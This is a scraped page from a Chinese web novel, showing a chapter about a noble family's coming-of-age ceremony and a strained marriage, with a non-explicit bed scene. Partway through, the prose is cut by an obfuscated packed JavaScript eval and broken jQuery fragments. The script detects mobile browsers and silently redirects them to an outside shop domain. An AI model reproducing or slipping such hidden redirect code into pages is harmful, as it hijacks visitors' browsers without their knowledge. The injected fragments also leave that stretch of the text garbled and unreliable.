文趣网 > 都市小说 > 为夫不敢反驳娘子 > 12. 小字
    沈娉婷的及笄宴,办得隆重且热闹。

    林时雨在年节过完后,便一直筹划着这场宴席。

    不仅如此,就连一直在家庙养病的镇国公沈隽,也回到府里,与沈飞一起招待来赴宴的皇亲国戚。

    内院里,则是以沈老夫人为首,林时雨同二房和三房的两个妯娌,一起招呼前来观礼的贵眷。

    到了吉时,沈娉婷在正宾宋国公夫人的主持下,向镇国公沈隽和沈老夫人行三加三拜之礼。

    林时雨站在沈老夫人身后,看着沈娉婷发间簪好的玉笄,眼圈有些发热。

    她的及笄礼,是林霰替她操持的。

    昭阳殿里什么都不缺,只是与眼下的宴席比起来,还是冷清不少。

    林时雨的唇角,慢慢扬起一抹笑意。

    若是她的爹娘还活着,那她的及笄礼,想来便更加圆满。

    霁,是姑母替她取的字。

    意为雨过天晴,也形容人心胸开阔。

    姑母这是希望她以后的人生,不会再经历雨雪。

    同时,也希望她开开心心地度过每一天。

    沈飞听到宋国公夫人替妹妹取的字是“姝”,抬眼却望向林时雨所在的方位。

    他还不知道自己妻子的小字呢。

    及笄礼成后,林时雨更忙了。

    或是与镇国公府沾亲带故的女眷,说些家常闲话,或是安排席上的茶水饭食。

    亦或是将提前离席的客人,好生送到府门,直到登上车轿,才转身往回走。

    沈飞根本就没有与她说上一句话的机会。

    宋国公夫人是沈老夫人隔着房,有血缘的表亲。

    今日特意前来做沈娉婷及笄礼上的主宾。

    她看着案前摆放的牛乳松饼,和各色酥软吃食,羡慕道:“还是姐姐的福气好。不仅孩子们都极为争气,就连娶进门的儿媳妇们,都已经能撑起府里的事了!”

    沈老夫人知道她这是夸林时雨办事妥帖,心下也十分舒爽。

    今日幼女的及笄宴,是她亲口嘱咐林时雨要上心操持的。

    只是没想到,她竟将这宴席办得如此好。

    “快别夸她们了,”沈老夫人笑道,“这府里的事,始终有一天,是要交到她们手里去的。我若是再不放手,只怕外人说我老婆子太霸道。”

    她笑眯着眼睛,手上捻着佛珠的动作不停。

    额间勒着的一条万字不断的织锦抹额上,镶着一颗晶莹圆润的珍珠,越发显得她慈眉善目。

    华灯初上,明月当空。

    镇国公府也早就送走了最后一位观礼的客人,渐渐安静下来。

    林时雨穿着一件雨过天晴的的褙子,披散着一头半干不干的乌发,从浴房里出来。

    她本以为沈飞应该还未回房,还想着趁着时间不晚,再去书房里画几篇,她答应送给莫氏的花样册子。

    哪曾想刚吩咐完碧叶,陪她去书房,便见沈飞从外面进来。

    “你这是要去哪里?”沈飞道。

    “妾身见时辰还早,想去书房一趟,将答应送给三弟妹的花样册子画完,也早些交给她,让人去绣。”

    “明日再画吧。今日你站了一天,不觉得累吗?”

    眼前沐浴更衣后的林时雨,落在沈飞眼里,柔软得像晴空下的一团云,让他忍不住将她揉进怀中。

    他滚了滚喉头,只觉得整个鼻翼间,全是她身上散发出来的幽香。

    林时雨只当是他累了,温声道:“夫君也忙了一天,不如先去泡泡身子,解解乏?我很快就回来,不会很久的。”

    才怪。

    她今日是一定要将花样册子画完的,这样说,不过就是怕沈飞不高兴。

    果然,林时雨一说完这话,就见沈飞的脸色有些不虞。

    “不过是画几篇花样子,就在那罗汉榻上画,也不是不行,何必还去书房里折腾?”

    沈飞充耳不闻林时雨婉拒的话,上前牵着林时雨的手,抬脚往梢间日常坐卧的小叶紫檀榻走。

    林时雨被他按坐在榻上,又见听他指挥碧叶拿纸笔砚台,吩咐碧桐去点烛台来。

    就连刚端着山楂软糕和玫瑰酥饼进屋的勿雨,都被沈飞派去给她剪烛芯。

    反正,他就是不让林时雨离开正房。

    林时雨看着一屋子的丫头,被沈飞指挥得团团转,只好作罢。

    一时,榻上的案几,摆好了笔墨纸砚,烛火茶水,只等林时雨提笔。

    沈飞在看见林时雨已经认命般的开始提笔描画着,才一步三回头得往浴房里走。

    林时雨毫无察觉沈飞今日的异常,只专心致志得提着笔,在澄心堂纸上,细细描绘起各色花样。

    春夜里的风,带着院子里招摇怒放的蔷薇花的香气,还夹杂着春日里独有的丝丝暖意,熏得人困意渐生。

    也不知画了多久,林时雨眨了眨有些酸胀的眼,将笔往一只玉龟背上一放,捂着嘴,轻轻地打了个哈欠。

    “夫人可要先上床歇着?”勿雨问道。

    林时雨闻言摇了摇头,等净过手后,又拈着一块暗红色的山楂软糕往口中送。

    勿雨见她吃起点心,连忙又给她端来一碗酒酿圆子来。

    珍珠大小的白糯圆子,在撒着熟芝麻的酒酿热汤里浮浮沉沉。

    香气扑鼻,简直让人无法抗拒。

    林时雨接过勿雨递来的勺子,舀起一勺酒酿圆子道:“再去拿个空碗来,我分你一半。我吃不了这么多。”

    今晚该勿雨在卧房外值守。长夜漫漫,吃些东西垫垫肚子也好。

    “夫人,奴婢不——”

    “你们主仆又在吃什么体己吃食?”

    勿雨拒绝的话还没说出口,就听到一道男子声音在隔扇处响起。

    林时雨同勿雨循声回望去,却见是沈飞穿着一件雪白的暗纹寝衣,朝罗汉榻走来。

    沈飞带沐浴后的满身潮气坐在榻边,拿起林时雨方才画好的花样子,随便翻了翻,又递给勿雨。

    “……将夫人画好的东西拿下去,好好收着。这里不用你伺候了。”

    沈飞吩咐道。

    勿雨闻言后,忙不迭地福了福身,接过一叠澄心堂纸就往外走。

    沈飞转过头朝林时雨道:“吃吧,吃不完的,我帮你解决。”

    林时雨握着瓷勺的手轻轻颤了颤,垂下一双鸦黑的羽睫:“……妾身让勿雨再给夫君盛一碗吧。”

    哪有让他吃自己剩下的东西的道理?

    她慢慢搅动着糯米圆子,看着碗里的圆子顺着她搅动的动作,在瓷碗里不停地打着旋儿。

    沈飞一语不发地凝视着眼前小口小口吃着圆子的女子,内心涌起百般滋味。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499709|202673||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    她的字,他不知道。

    就连她的东西,也是宁愿分给丫头们,也不愿意留给他。

    沈飞深吸一口气,缓缓将心口蔓延的涩意压制住,沉声开口道:“从前是我误会你,不知你的委屈。可你也得给我个台阶下吧?毕竟是我们夫妻,不是睡在一张床上的陌生人。”

    不得不说,那日沈老夫人的话,确实让沈飞对以后重新有了打算。

    他们是该有个孩子了。

    “夫君别多想……”

    “那我就是喜欢多想,怎么办?”沈飞低吼道。

    林时雨听闻这话,缓缓放下瓷勺,道:“我从没有觉得这委屈是夫君给的,我那日也说过了,这门婚事,夫君也是被伤害的人。”

    她咽了咽满口酸甜的酒酿滋味,抬眼对上沈飞的漆黑眸子。

    两人对坐半晌,直到碗里的酒酿圆子彻底冷掉,林时雨也未能吃完。

    “哼,”沈飞鼻间发出一声轻哼声,想也不想就端起案桌上剩了大半碗的酒酿圆子,往嘴边递,边吃边道,“怎么这么酸?下次让丫头多放些蜜。”

    林时雨被沈飞这突然其来的亲密,惊得手脚都不敢乱动,连眼神儿都只敢往远处飘。

    时辰渐晚,到了该歇息的时候了。

    林时雨躺在床里间,将身上的锦被用双手压在身下,才觉得自己终于可以不用再憋气。

    沈飞吹灭了灯,坐在床外侧,抬手放下了挂在玉钩上的床帐,将投进窗户的朦胧月色,彻底隔在帐外。

    可是这样一来,在这封闭狭小的空间里,那人身上的幽香气息越发往他鼻翼里钻,挠得他心口发烫,就连呼吸也逐渐沉重起来。

    林时雨身上一片干爽,又吃饱喝足,自然没多久就合上了眼。

    沈飞听着耳畔传来的绵长呼吸,忽自暴自弃般抬手拉开了林时雨身上的被子,将人往自己的锦被里一拉。

    “……夫、夫君!”

    林时雨被吵醒,双手抵在沈飞半敞开的衣襟上,惊呼一声。

    他要干什么?

    沈飞俯身去含她的唇瓣,带着浓浓鼻音道:“时雨,你的及笄礼上,林贵妃替你取的字是什么?”

    她从前的事,他一点也不清楚。

    林时雨迷迷糊糊间被人堵住口,挣扎片刻,随后又被迫仰起下颌,承受更热烈的吻。

    帐子里的温度骤然升高。

    肌肤贴肌肤,林时雨光洁的额头上,早渗出一层细汗。

    而沈飞身上散乱的衣襟,早就被他扯下,丢在床尾。

    “……时雨,时雨,”沈飞低呼着林时雨的名字,喘息道,“告诉我,你的字。”

    “没有。”

    “林贵妃那么疼你,一定在你的及笄礼上,给你取了字,你别骗我!”沈飞恨恨道。

    黑暗中,林时雨听见沈飞又气又低的声音,忽升起一股惧意。

    她是不会在镇国公府久待的,更无法回应眼下沈飞咄咄逼人的质问。

    林时雨默默闭上双眼,只要……

    只要这次姑母顺利生产,只要她拿到被陈骆偷走的香炉,她会想办法让皇帝同意,赐下她与沈飞和离的诏书。

    毕竟,这门婚事能成,都拜皇帝所赐。

    林时雨的眼角渐渐湿润起来,只不过昏暗的帐子里,与她肌肤相接的男子,毫无察觉。